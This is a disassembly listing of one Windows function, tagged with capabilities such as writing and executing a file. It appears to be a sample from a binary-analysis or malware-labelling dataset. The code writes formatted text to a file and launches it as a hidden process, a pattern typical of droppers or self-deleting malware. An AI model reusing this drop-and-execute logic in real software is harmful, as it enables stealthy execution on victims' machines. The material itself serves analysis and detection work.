Function at 0x10002060
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2858
call fcn.1000b940
mov byte [ebp - 0x220], 0
mov byte [ebp - 0x110], 0
mov byte [ebp - 0x10e], 0
mov byte [ebp - 0xcd8], 0
mov byte [ebp - 0xe00], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0xce4], 0
mov dword [ebp - 0xce0], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0xcf4], 0
mov dword [ebp - 0xcec], 0
mov dword [ebp - 0xcf0], 0
mov dword [ebp - 0xce8], 0
mov dword [ebp - 0xcdc], 0
mov dword [ebp - 8], 0x1000d1ac
mov dword [ebp - 4], 0x1000d1a8
mov dword [ebp - 0xbcc], str.Take
mov dword [ebp - 0x224], 0x1000d19c
push 0x1000e5f8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 2
push eax
push 0x1000e5f8
lea eax, [ebp - 0xbc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x1000e028
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea ecx, [ebp - 0xbc8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000e030
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [ebp - 0x778]
push eax
push str._s_r_n
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x1000e5f8
lea edx, [ebp - 0x778]
push edx
push 0x1000e038
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x778]
push ecx
push str._s_r_n
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x1000e5f8
lea eax, [ebp - 0x778]
push eax
push 0x1000e044
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x778]
push edx
push str._s_r_n
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0xbc8]
push ecx
lea edx, [ebp - 0x778]
push edx
push str._nb_2_ywae
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x778]
push ecx
push str._s_r_n
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x778]
push eax
push 0x1000e06c
lea ecx, [ebp - 0xa78]
call fcn.10002a50
push eax
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0xbc8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
jne 0x100022e0
xor al, al
jmp 0x100023b9
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x114], eax
push 0
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x778]
push eax
mov ecx, dword [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002325
xor al, al
jmp 0x100023b9
mov edx, dword [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
lea eax, [ebp - 0x234]
push eax
call fcn.1000ac30
add esp, 8
push 0x44
lea ecx, [ebp - 0xac0]
push ecx
call fcn.1000ac30
add esp, 8
mov dword [ebp - 0xac0], 0x44
mov dword [ebp - 0xa94], 1
xor edx, edx
mov word [ebp - 0xa90], dx
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0xac0]
push ecx
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xbc8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret